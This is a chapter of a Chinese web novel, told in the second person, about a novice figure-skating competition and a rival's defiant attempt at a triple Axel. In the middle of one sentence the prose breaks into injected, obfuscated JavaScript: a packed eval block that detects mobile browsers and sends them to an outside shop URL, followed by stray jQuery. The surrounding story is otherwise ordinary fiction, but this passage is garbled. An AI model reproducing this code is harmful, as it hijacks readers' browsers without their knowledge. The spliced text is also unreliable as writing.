31
…
视线如同无形的蛛网，从四面八方黏着过来，聚焦在你和早川教练身上。
你微微侧头，压低声音：“教练。”
“嗯？”早川教练的目光依旧平稳地扫视着冰场环境。
“他们在盯着我们。”你能感觉到那些目光里的探究、评估，甚至还有一丝不易察觉的紧张。
“这很正常。”早川教练的声音不高，却带着一种洞悉一切的平静。
他稍稍靠近你，用只有你们两人能听清的音量说道，语气里是毫不掩饰的笃定，“因为你会是这场比赛的赢家。”
你嘴角控制不住地上扬，露出一抹心照不宣的笑容，理所当然地回应：“当然。”
“去热身吧。”早川教练轻轻拍了拍你的后背。
你点了点头，滑向冰场中央。
正式训练时间，冰场上不止你一个人，还有其他参赛选手在进行各自的合乐或适应性训练。
那么…
…
二楼观台处，莱莉·福克斯——东京 StarFox 花滑俱乐部的主教练，双臂交叠倚在栏杆上。
她年仅十九岁，却已经拥有一个极具分量的头衔——三年前，得益于在夜鹰纯那届奥运会后暂时下调至15岁的年龄新规，她以16岁的年纪参加奥运会并一举夺下女单冠军，创造了历史。
此刻，她的目光如同精准的探照灯，落在冰场上那个正在进行合乐热身的身影上。
她的学生年纪都还小，尚未达到参加novice A比赛的水平，因此她今天是以观察者的身份前来。
而她的观察重点，毫无疑问就是那个以一己之力在东京区选拔赛中获得第一，并且分数比其他地区种子选手平均高出10分以上的“金蛋”——鹤山千。
这场至关重要的赛前热身，你会选择用什么动作来调动状态、展示实力，甚至…进行一些心理上的博弈？
莱莉饶有兴趣地等待着。
只见冰场上的你，在经过几圈简单的压步加速后，没有任何花哨的铺垫，直接进入了一个跳跃组合——3Lo + 3T，动作干净利落，衔接流畅。
但这只是开始。
在单足稳稳落冰滑出后，你几乎没有调整，借着滑行的惯性，刀刃轻盈转换，紧接着便是连续两个单独的3S。
你就像如同不需要冷却时间的连发炮弹，每一个跳跃都带着惊人的高度和稳定的轴心，落冰清脆，滑出姿态从容。
“…”莱莉那双见惯了顶尖选手训练的眼睛，也不由得微微睁大。
这套热身动作所展现出的技术储备、跳跃质量和体能分配能力，在novice组别里简直是降维打击。
尤其是那连续的两个3S，你的状态极佳，并且游刃有余。
她应该庆幸吗？
莱莉心里不由得冒出这样一个念头。
庆幸场上的你，和自己俱乐部里那些尚在萌芽期的孩子们不是同一年龄段。
否则，面对这样一个怪物般的对手，对年轻选手的信心该是何等巨大的打击。
你所蕴含的能量，已经开始让这片赛场为之震动了。
…
“三号，莲华茶俱乐部，山本惠美。”
广播声落下，冰场入口处，那个眼神里总带着点不服输的倔强的女孩，深吸一口气，滑入了场中。
《红唇依旧》的音乐响起，是Nightwish那版充满力量与戏剧张力的旋律。
山本惠美闭上眼片刻，再睁开时，目光穿透了眼前的冰面，仿佛看到了某个站在场边、正抱着手臂观看的身影。
说来真是奇怪。
明明只是认识了那么点时间，在合宿里说过的话屈指可数，为什么那个人的身影却总在脑海里挥之不去？
你是有什么魔法吗？
还是说，你根本就是一个魔女，在不知不觉中对所有人施展了某种让人念念不忘的法术？
第一个跳跃——3S，后内结环三周跳，干净利落。
她想向你发出挑战。这个念头在心头燃烧，于是她跳了。
3Lo＋3T。
后外结环三周接后外点冰三周。
…
场边，你正站在早川教练身旁，目光追随着冰面上的身影。
当那个熟悉的跳跃组合映入眼帘时，你不由得弯起了嘴角。
这是之前在合宿时，你在某次训练中尝试过的编排。
此刻，以另一种视角看到别人跳出自己曾探索过的动作，心里涌起一种奇异而新鲜的滋味。
——原来，被模仿、被挑战，是这样的感觉。
好呀。
你接受她的挑战。
…
山本惠美的挑战远不止于此。
她还有更深的意图——她要跳那个3A，那个被你隐隐为傲的、仿佛是你标志之一的阿克塞尔三周跳。
冰刀切过，向前起跳，身体腾空旋转。
那三周半的轨迹在冰场灯光下划出短暂的弧线。
…
从小，她就是这样一种性子。有记忆开始，因为这份倔强和不服输，发生过太多磕磕绊绊。
学花滑之后，这种性格带来的麻烦更是层出不穷——和同组学员争执，对教练的质疑表达不满，在比赛中宁可冒着风险也要尝试自己想做的动作。
直到龟金谷教练收下她，在一次情绪失控后，轻轻点了点她的额头，说：“不用因为我们大人而去改变你赖以生存的性子。”
她的泪水当时就涌上了眼眶，却倔强地没有落下。
“这是你的权利。你的性子，让你留在了冰面上。”龟金谷教练这样告诉她。
此刻，她的3A落冰——降组了。在触冰的一瞬间她就感知到了。周数不足，会被扣分。
但她没有慌乱。借着落冰后微妙的失衡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634993|206532||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，她立刻加上了1Eu过渡，然后迅速接上了一个2Lo，试图弥补那个失误带来的缺憾。
观众席传来窃窃私语，有些距离近的观众声音飘了过来：
“…会被扣分吧…”
“…好可惜…上一个早川濑里奈是零失误的…”
“…应该会排第二吧…”
龟金谷教练站在场边，一言不发，只是默默看着。他看得分明，这里原本的计划是3S＋1Eu＋3T，惠美在冰上临时更改了编排，只为完成那个挑战的执念。
音乐落下最后一个音符。
山本惠美在冰场中央微微喘息着，胸口剧烈起伏。
好亮眼啊。
那光芒刺得她微微眯起眼睛，却又不舍得移开视线。
像是教练说的那些话，像是你那若有若无的笑容，像是这片冰面给她的所有疼痛和荣耀。
亮得让人想哭，却又忍不住想要靠近。
她这样想着，嘴角却不受控制地弯起一个小小的、满足的弧度。
她完成了她想要完成的挑战，哪怕不完美，哪怕被降组，哪怕最终的排名可能只是第二。
但那份站在冰面上以自己的方式向那个魔女宣战的勇气，没有人能夺走。
…
“莲华茶俱乐部，山本惠美，最终得分101.3分，暂列第二。”
广播声在赛场上空回荡。
山本惠美滑向场边，目光不由自主地投向计分板上方那个暂时还闪烁着光芒的名字——早川濑里奈，102.71分。
技高一筹。
她抿了抿嘴唇，呼吸还带着运动后的微喘，却已经转过头，看向了场外正在进行陆上热身的那个身影。
你正专注地拉伸着肩膀和手臂的肌肉，摘掉了那条常常戴着的项链，大概是怕在高速旋转中造成不必要的干扰或危险。
耳朵上的红色耳钉在冰场顶灯的照射下，折射出细碎而明亮的光点，随着你每一个动作微微闪烁。
下一个。
下一个就是你了。
她能感觉到自己的心跳，不是因为刚刚完成的比赛，而是因为即将开始的、属于你的节目。
你会脱下那件遮住考斯滕的外套，露出那套全新的、从未在任何人面前完整展示过的服装，然后…跳出那个跳跃。
那个在合宿的夜晚，四次落冰声如同重锤般敲进所有人心里，却又在之后的正式训练中从未再现过的跳跃。
…
JUNIOR组的训练场内，理依奈坐在休息区的长椅上，手里捧着手机，屏幕上是新人赛A的实时直播画面。
身旁几个同样属于JUNIOR组的选手好奇地凑过来。
“理依奈，你在看谁？新人A组的比赛有什么好看的？”
理依奈抬起头，嘴角上扬，露出她那标志性的、带着点狡黠和小得意的笑容，鲨鱼般的小尖牙在灯光下闪了闪：“未来的对手。”